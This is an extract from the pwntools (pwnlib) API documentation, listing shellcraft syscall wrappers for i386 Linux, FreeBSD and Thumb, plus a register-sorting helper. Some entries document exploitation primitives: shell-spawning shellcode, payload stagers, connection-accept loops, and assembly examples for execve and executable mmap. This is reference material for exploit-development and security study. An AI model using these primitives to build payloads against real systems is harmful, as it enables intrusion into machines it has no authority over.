Parameters **path** (*char*) – path

`pwnlib.shellcraft.i386.linux.`**`sched_get_priority_max`**(*algorithm*)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

Parameters **`algorithm`** (*`int`*) – algorithm

`pwnlib.shellcraft.i386.linux.`**`sched_get_priority_min`**(*algorithm*)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

Parameters **`algorithm`** (*`int`*) – algorithm

`pwnlib.shellcraft.i386.linux.`**`sched_getaffinity`**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **`pid`** (*`pid_t`*) – pid
- **`cpusetsize`** (*`size_t`*) – cpusetsize
- **`cpuset`** (*`cpu_set_t`*) – cpuset

`pwnlib.shellcraft.i386.linux.`**`sched_getparam`**(*pid*, *param*)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

Parameters

- **`pid`** (*`pid_t`*) – pid
- **`param`** (*`sched_param`*) – param

`pwnlib.shellcraft.i386.linux.`**`sched_getscheduler`**(*pid*)

Invokes the syscall sched_getscheduler. See 'man 2 sched_getscheduler' for more information.

Parameters **`pid`** (*`pid_t`*) – pid

`pwnlib.shellcraft.i386.linux.`**`sched_rr_get_interval`**(*pid*, *t*)

Invokes the syscall sched_rr_get_interval. See 'man 2 sched_rr_get_interval' for more information.

Parameters

- **`pid`** (*`pid_t`*) – pid
- **`t`** (*`timespec`*) – t

`pwnlib.shellcraft.i386.linux.`**`sched_setaffinity`**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_setaffinity. See 'man 2 sched_setaffinity' for more information.

Parameters

- **`pid`** (*`pid_t`*) – pid
- **`cpusetsize`** (*`size_t`*) – cpusetsize
- **`cpuset`** (*`cpu_set_t`*) – cpuset

`pwnlib.shellcraft.i386.linux.`**`sched_setparam`**(*pid*, *param*)

Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.

Parameters

- **`pid`** (*`pid_t`*) – pid
- **`param`** (*`sched_param`*) – param

`pwnlib.shellcraft.i386.linux.`**`sched_setscheduler`**(*pid*, *policy*, *param*)

Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **policy** (*int*) – policy
- **param** (*sched_param*) – param

pwnlib.shellcraft.i386.linux.**sched_yield**()

Invokes the syscall sched_yield. See 'man 2 sched_yield' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.**select**(*nfds*, *readfds*, *writefds*, *exceptfds*, *timeout*)

Invokes the syscall select. See 'man 2 select' for more information.

Parameters

- **nfds** (*int*) – nfds
- **readfds** (*fd_set*) – readfds
- **writefds** (*fd_set*) – writefds
- **exceptfds** (*fd_set*) – exceptfds
- **timeout** (*timeval*) – timeout

pwnlib.shellcraft.i386.linux.**sendfile**(*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall sendfile. See 'man 2 sendfile' for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.i386.linux.**sendfile64**(*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.i386.linux.**setdomainname**(*name*, *length*)

Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

pwnlib.shellcraft.i386.linux.**setgid**(*gid*)

Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters **gid** (*gid_t*) – gid

pwnlib.shellcraft.i386.linux.**setgroups**(*n*, *groups*)

Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

`pwnlib.shellcraft.i386.linux.`**`sethostname`**(*name*, *length*)

Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.i386.linux.`**`setitimer`**(*which*, *new*, *old*)

Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

`pwnlib.shellcraft.i386.linux.`**`setpgid`**(*pid*, *pgid*)

Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **pgid** (*pid_t*) – pgid

`pwnlib.shellcraft.i386.linux.`**`setpriority`**(*which*, *who*, *prio*)

Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

`pwnlib.shellcraft.i386.linux.`**`setregid`**(*gid='egid'*)

Args: [gid (imm/reg) = egid] Sets the real and effective group id.

`pwnlib.shellcraft.i386.linux.`**`setresgid`**(*rgid*, *egid*, *sgid*)

Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.i386.linux.`**`setresuid`**(*ruid*, *euid*, *suid*)

Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid

- **suid** (*uid_t*) – suid

pwnlib.shellcraft.i386.linux.**setreuid**(*uid='euid'*)
Args: [uid (imm/reg) = euid] Sets the real and effective user id.

pwnlib.shellcraft.i386.linux.**setrlimit**(*resource*, *rlimits*)
Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

pwnlib.shellcraft.i386.linux.**setsid**()
Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

pwnlib.shellcraft.i386.linux.**setsockopt**(*sockfd*, *level*, *optname*, *optval*, *optlen*)
Invokes the syscall setsockopt. See 'man 2 setsockopt' for more information.

Parameters

- **sockfd** (*int*) – sockfd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*int*) – optlen

pwnlib.shellcraft.i386.linux.**setsockopt_timeout**(*sock*, *secs*)
Invokes the syscall fork. See 'man 2 fork' for more information.

Parameters

- **sock** (*int*) – sock
- **secs** (*int*) – secs

pwnlib.shellcraft.i386.linux.**settimeofday**(*tv*, *tz*)
Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

pwnlib.shellcraft.i386.linux.**setuid**(*uid*)
Invokes the syscall setuid. See 'man 2 setuid' for more information.

Parameters **uid** (*uid_t*) – uid

pwnlib.shellcraft.i386.linux.**sh**()
Execute a different process.

```
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.i386.linux.**sigaction**(*sig*, *act*, *oact*)
Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (*int*) – sig
- **act** (sigaction) – act
- **oact** (sigaction) – oact

pwnlib.shellcraft.i386.linux.**sigaltstack**(*ss*, *oss*)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- **ss** (sigaltstack) – ss
- **oss** (sigaltstack) – oss

pwnlib.shellcraft.i386.linux.**signal**(*sig*, *handler*)

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

- **sig** (*int*) – sig
- **handler** (*sighandler_t*) – handler

pwnlib.shellcraft.i386.linux.**sigpending**(*set*)

Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

Parameters **set** (*sigset_t*) – set

pwnlib.shellcraft.i386.linux.**sigprocmask**(*how*, *set*, *oset*)

Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.

Parameters

- **how** (*int*) – how
- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset

pwnlib.shellcraft.i386.linux.**sigreturn**()

Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

pwnlib.shellcraft.i386.linux.**sigsuspend**(*set*)

Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

Parameters **set** (*sigset_t*) – set

pwnlib.shellcraft.i386.linux.**socket**(*network='ipv4'*, *proto='tcp'*)

Creates a new socket

pwnlib.shellcraft.i386.linux.**socketcall**(*socketcall*, *socket*, *sockaddr*, *sockaddr_len*)

Invokes a socket call (e.g. socket, send, recv, shutdown)

pwnlib.shellcraft.i386.linux.**splice**(*fdin*, *offin*, *fdout*, *offout*, *length*, *flags*)

Invokes the syscall splice. See 'man 2 splice' for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout

- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.i386.linux.`**`stage`**(*fd=0*, *length=None*)

Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.i386.linux.`**`stager`**(*sock*, *size*, *handle_error=False*, *tiny=False*)

Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. :param sock, the socket to read the payload from.: :param size, the size of the payload:

`pwnlib.shellcraft.i386.linux.`**`stat`**(*file*, *buf*)

Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.i386.linux.`**`stat64`**(*file*, *buf*)

Invokes the syscall stat64. See 'man 2 stat64' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.i386.linux.`**`stime`**(*when*)

Invokes the syscall stime. See 'man 2 stime' for more information.

Parameters **when** (*time_t*) – when

`pwnlib.shellcraft.i386.linux.`**`stty`**(*fd*, *params*)

Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.i386.linux.`**`symlink`**(*from_*, *to*)

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

- **from** (*char*) – from

- **to** (*char*) – to

`pwnlib.shellcraft.i386.linux.`**`symlinkat`**(*from_*, *tofd*, *to*)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

`pwnlib.shellcraft.i386.linux.`**`sync`**()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`sync_file_range`**(*fd*, *offset*, *count*, *flags*)

Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.i386.linux.`**`syscall`**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).rstrip()
    /* call execve(1, 'esp', 2, 0) */
    push (SYS_execve) /* 0xb */
    pop eax
    push 1
    pop ebx
    mov ecx, esp
    push 2
    pop edx
    xor esi, esi
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip()
    /* call execve(2, 1, 0, 0x14) */
    push (SYS_execve) /* 0xb */
    pop eax
    push 2
    pop ebx
    push 1
    pop ecx
    push 0x14
    pop esi
    cdq /* edx=0 */
    int 0x80
```

```
>>> print pwnlib.shellcraft.i386.linux.syscall().rstrip()
    /* call syscall() */
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip()
    /* call syscall('eax', 'ebx', 'ecx') */
    /* setregs noop */
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip()
    /* call syscall('ebp', ?, ?, 1) */
    mov eax, ebp
    push 1
    pop edx
    int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall(
...               'SYS_mmap2', 0, 0x1000,
...               'PROT_READ | PROT_WRITE | PROT_EXEC',
...               'MAP_PRIVATE | MAP_ANONYMOUS',
...               -1, 0).rstrip()
    /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS'
    xor eax, eax
    mov al, 0xc0
    xor ebp, ebp
    xor ebx, ebx
    xor ecx, ecx
    mov ch, 0x1000 >> 8
    push -1
    pop edi
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop edx
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop esi
    int 0x80
```

`pwnlib.shellcraft.i386.linux.`**`syslog`**(*pri*, *fmt*, *vararg*)

Invokes the syscall syslog. See 'man 2 syslog' for more information.

Parameters

- **`pri`** (*`int`*) – pri
- **`fmt`** (*`char`*) – fmt
- **`vararg`** (*`int`*) – vararg

`pwnlib.shellcraft.i386.linux.`**`tee`**(*fdin*, *fdout*, *length*, *flags*)

Invokes the syscall tee. See 'man 2 tee' for more information.

Parameters

- **`fdin`** (*`int`*) – fdin
- **`fdout`** (*`int`*) – fdout
- **`len`** (*`size_t`*) – len
- **`flags`** (*`unsigned`*) – flags

`pwnlib.shellcraft.i386.linux.`**`time`**(*timer*)

Invokes the syscall time. See 'man 2 time' for more information.

Parameters **`timer`** (*`time_t`*) – timer `pwnlib.shellcraft.i386.linux.`**`timer_create`**`(`*clock_id*, *evp*, *timerid*`)`

Invokes the syscall timer_create. See 'man 2 timer_create' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **evp** (*sigevent*) – evp
- **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.i386.linux.`**`timer_delete`**`(`*timerid*`)`

Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.i386.linux.`**`timer_getoverrun`**`(`*timerid*`)`

Invokes the syscall timer_getoverrun. See 'man 2 timer_getoverrun' for more information.

Parameters **timerid** (*timer_t*) – timerid

`pwnlib.shellcraft.i386.linux.`**`timer_gettime`**`(`*timerid*, *value*`)`

Invokes the syscall timer_gettime. See 'man 2 timer_gettime' for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **value** (*itimerspec*) – value

`pwnlib.shellcraft.i386.linux.`**`timer_settime`**`(`*timerid*, *flags*, *value*, *ovalue*`)`

Invokes the syscall timer_settime. See 'man 2 timer_settime' for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

`pwnlib.shellcraft.i386.linux.`**`truncate`**`(`*file*, *length*`)`

Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

`pwnlib.shellcraft.i386.linux.`**`truncate64`**`(`*file*, *length*`)`

Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

`pwnlib.shellcraft.i386.linux.`**`ulimit`**`(`*cmd*, *vararg*`)`

Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.`**`umask`**(*mask*)

Invokes the syscall umask. See 'man 2 umask' for more information.

Parameters **`mask`** (*`mode_t`*) – mask

`pwnlib.shellcraft.i386.linux.`**`uname`**(*name*)

Invokes the syscall uname. See 'man 2 uname' for more information.

Parameters **`name`** (*`utsname`*) – name

`pwnlib.shellcraft.i386.linux.`**`unlink`**(*name*)

Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters **`name`** (*`char`*) – name

`pwnlib.shellcraft.i386.linux.`**`unlinkat`**(*fd*, *name*, *flag*)

Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`name`** (*`char`*) – name
- **`flag`** (*`int`*) – flag

`pwnlib.shellcraft.i386.linux.`**`unshare`**(*flags*)

Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters **`flags`** (*`int`*) – flags

`pwnlib.shellcraft.i386.linux.`**`ustat`**(*dev*, *ubuf*)

Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

- **`dev`** (*`dev_t`*) – dev
- **`ubuf`** (`ustat`) – ubuf

`pwnlib.shellcraft.i386.linux.`**`utime`**(*file*, *file_times*)

Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- **`file`** (*`char`*) – file
- **`file_times`** (*`utimbuf`*) – file_times

`pwnlib.shellcraft.i386.linux.`**`utimensat`**(*fd*, *path*, *times*, *flags*)

Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`path`** (*`char`*) – path
- **`times`** (*`timespec`*) – times
- **`flags`** (*`int`*) – flags

`pwnlib.shellcraft.i386.linux.`**`utimes`**(*file*, *tvp*)

Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

- **`file`** (*`char`*) – file

- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.i386.linux.`**`vfork`**`()`

Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`vhangup`**`()`

Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.`**`vmsplice`**`(`*fdout*, *iov*, *count*, *flags*`)`

Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

Parameters

- **fdout** (*int*) – fdout
- **iov** (*iovec*) – iov
- **count** (*size_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.i386.linux.`**`wait4`**`(`*pid*, *stat_loc*, *options*, *usage*`)`

Invokes the syscall wait4. See 'man 2 wait4' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc
- **options** (*int*) – options
- **usage** (*rusage*) – usage

`pwnlib.shellcraft.i386.linux.`**`waitid`**`(`*idtype*, *id*, *infop*, *options*`)`

Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

`pwnlib.shellcraft.i386.linux.`**`waitpid`**`(`*pid*, *stat_loc*, *options*`)`

Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

`pwnlib.shellcraft.i386.linux.`**`write`**`(`*fd*, *buf*, *n*`)`

Invokes the syscall write. See 'man 2 write' for more information.

Parameters

- **fd** (*int*) – fd

- **buf** (*void*) – buf
- **n** (*size_t*) – n

pwnlib.shellcraft.i386.linux.**writev**(*fd*, *iovec*, *count*)

Invokes the syscall writev. See 'man 2 writev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

pwnlib.shellcraft.i386.freebsd

Shellcraft module containing Intel i386 shellcodes for FreeBSD.

pwnlib.shellcraft.i386.freebsd.**acceptloop_ipv4**(*port*)

Args: port Waits for a connection. Leaves socket in EBP. ipv4 only

pwnlib.shellcraft.i386.freebsd.**i386_to_amd64**()

Returns code to switch from i386 to amd64 mode.

pwnlib.shellcraft.i386.freebsd.**mov**(*dest*, *src*, *stack_allowed=True*)

Thin wrapper around *pwnlib.shellcraft.i386.mov()*, which sets *context.os* to *'freebsd'* before calling.

Example

```
>>> print pwnlib.shellcraft.i386.freebsd.mov('eax', 'SYS_execve').rstrip()
    push (SYS_execve) /* 0x3b */
    pop eax
```

pwnlib.shellcraft.i386.freebsd.**push**(*value*)

Thin wrapper around *pwnlib.shellcraft.i386.push()*, which sets *context.os* to *'freebsd'* before calling.

Example

```
>>> print pwnlib.shellcraft.i386.freebsd.push('SYS_execve').rstrip()
    /* push (SYS_execve) (0x3b) */
    push 0x3b
```

pwnlib.shellcraft.i386.freebsd.**sh**()

Execute /bin/sh

pwnlib.regsort — Register sorting

Topographical sort

pwnlib.regsort.**check_cycle**(*reg*, *assignments*)

Walk down the assignment list of a register, return the path walked if it is encountered again.

Returns The list of register involved in the cycle. If there is no cycle, this is an empty list.

Example

```
>>> check_cycle('a', {'a': 1})
[]
>>> check_cycle('a', {'a': 'a'})
['a']
>>> check_cycle('a', {'a': 'b', 'b': 'a'})
['a', 'b']
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'b', 'd': 'a'})
[]
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'd', 'd': 'a'})
['a', 'b', 'c', 'd']
```

`pwnlib.regsort.`**`extract_dependencies`**(*reg*, *assignments*)

Return a list of all registers which directly depend on the specified register.

Example

```
>>> extract_dependencies('a', {'a': 1})
[]
>>> extract_dependencies('a', {'a': 'b', 'b': 1})
[]
>>> extract_dependencies('a', {'a': 1, 'b': 'a'})
['b']
>>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})
['b', 'c']
```

`pwnlib.regsort.`**`regsort`**(*in_out*, *all_regs*, *tmp=None*, *xchg=True*, *randomize=None*)

Sorts register dependencies.

Given a dictionary of registers to desired register contents, return the optimal order in which to set the registers to those contents.

The implementation assumes that it is possible to move from any register to any other register.

If a dependency cycle is encountered, one of the following will occur:

- If `xchg` is `True`, it is assumed that dependency cyles can be broken by swapping the contents of two register (a la the `xchg` instruction on i386).
- If `xchg` is not set, but not all destination registers in `in_out` are involved in a cycle, one of the registers outside the cycle will be used as a temporary register, and then overwritten with its final value.
- If `xchg` is not set, and all registers are involved in a dependency cycle, the named register `temporary` is used as a temporary register.
- If the dependency cycle cannot be resolved as described above, an exception is raised.

Parameters

- **`in_out`** (*`dict`*) – Dictionary of desired register states. Keys are registers, values are either registers or any other value.
- **`all_regs`** (*`list`*) – List of all possible registers. Used to determine which values in `in_out` are registers, versus regular values.
- **`tmp`** (*`obj, str`*) – Named register (or other sentinel value) to use as a temporary register. If `tmp` is a named register **and** appears as a source value in `in_out`, depen-

dencies are handled appropriately. `tmp` cannot be a destination register in `in_out`. If `bool(tmp)==True`, this mode is enabled.

- **xchg** (*obj*) – Indicates the existence of an instruction which can swap the contents of two registers without use of a third register. If `bool(xchg)==False`, this mode is disabled.
- **random** (*bool*) – Randomize as much as possible about the order or registers.

Returns

A list of tuples of `(src, dest)`.

Each register may appear more than once, if a register is used as a temporary register, and later overwritten with its final value.

If `xchg` is `True` and it is used to break a dependency cycle, then `reg_name` will be `None` and `value` will be a tuple of the instructions to swap.

Example

```
>>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']
```

If order doesn't matter for any subsequence, alphabetic order is used.

```
>>> regsort({'a': 1, 'b': 2}, R)
[('mov', 'a', 1), ('mov', 'b', 2)]
>>> regsort({'a': 'b', 'b': 'a'}, R)
[('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X')
[('mov', 'X', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'X')]
>>> regsort({'a': 1, 'b': 'a'}, R)
[('mov', 'b', 'a'),
 ('mov', 'a', 1)]
>>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R)
[('mov', 'c', 3),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R)
[('mov', 'c', 'b'),
 ('xchg', 'a', 'b')]
>>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='y', xchg=False)
[('mov', 'x', 'b'),
 ('mov', 'y', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'y')]
>>> regsort({'a':'b', 'b':'a', 'x':'b'}, R, tmp='x', xchg=False)
Traceback (most recent call last):
...
PwnlibException: Cannot break dependency cycles ...
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R)
[('mov', 'x', '1'),
 ('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('xchg', 'a', 'b'),
 ('xchg', 'b', 'c')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, tmp='x')
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', '1')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, xchg=0)
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', '1')]
```

pwnlib.regsort.**resolve_order**(*reg*, *deps*)

Resolve the order of all dependencies starting at a given register.

Example

```
>>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
>>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
>>> resolve_order('a', deps)
['a']
>>> resolve_order('b', deps)
['b']
>>> resolve_order('c', deps)
['b', 'c']
>>> resolve_order('d', deps)
['b', 'c', 'x', 'd']
```

pwnlib.shellcraft.thumb — Shellcode for Thumb Mode

pwnlib.shellcraft.thumb

Shellcraft module containing generic thumb little endian shellcodes.

pwnlib.shellcraft.thumb.**crash**()

Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True) < 0
True
```

pwnlib.shellcraft.thumb.**infloop**()

An infinite loop.

pwnlib.shellcraft.thumb.**itoa**(*v*, *buffer='sp'*, *allocate_stack=True*)

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v** (*str, int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.thumb.itoa('r0')
>>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

`pwnlib.shellcraft.thumb.`**`memcpy`**(*dest*, *src*, *n*)
Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.thumb.`**`mov`**(*dst*, *src*)

Returns THUMB code for moving the specified source value into the specified destination register.

If src is a string that is not a register, then it will locally set *context.arch* to *'thumb'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print shellcraft.thumb.mov('r1','r2').rstrip()
    mov r1, r2
>>> print shellcraft.thumb.mov('r1', 0).rstrip()
    eor r1, r1
>>> print shellcraft.thumb.mov('r1', 10).rstrip()
    mov r1, #0xa + 1
    sub r1, r1, 1
>>> print shellcraft.thumb.mov('r1', 17).rstrip()
    mov r1, #0x11
>>> print shellcraft.thumb.mov('r1', 'r1').rstrip()
    /* moving r1 into r1, but this is a no-op */
>>> print shellcraft.thumb.mov('r1', 512).rstrip()
    mov r1, #0x200
>>> print shellcraft.thumb.mov('r1', 0x10000001).rstrip()
    mov r1, #(0x10000001 >> 28)
    lsl r1, #28
    add r1, #(0x10000001 & 0xff)
>>> print shellcraft.thumb.mov('r1', 0xdead0000).rstrip()
    mov r1, #(0xdead0000 >> 25)
    lsl r1, #(25 - 16)
    add r1, #((0xdead0000 >> 16) & 0xff)
    lsl r1, #16
>>> print shellcraft.thumb.mov('r1', 0xdead00ff).rstrip()
    ldr r1, value_...
    b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
    mov r1, #(SYS_execve) /* 0xb */
```

```
>>> with context.local(os = 'freebsd'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
    mov r1, #(SYS_execve) /* 0x3b */
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
    mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
```

pwnlib.shellcraft.thumb.**nop**()

A nop instruction.

pwnlib.shellcraft.thumb.**popad**()

Pop all of the registers onto the stack which i386 popad does, in the same order.

pwnlib.shellcraft.thumb.**push**(*value*)

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'thumb'* using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.thumb.push('r0').rstrip()
    push {r0}
>>> print pwnlib.shellcraft.thumb.push(0).rstrip()
    /* push 0 */
    eor r7, r7
    push {r7}
>>> print pwnlib.shellcraft.thumb.push(1).rstrip()
    /* push 1 */
    mov r7, #1
    push {r7}
>>> print pwnlib.shellcraft.thumb.push(256).rstrip()
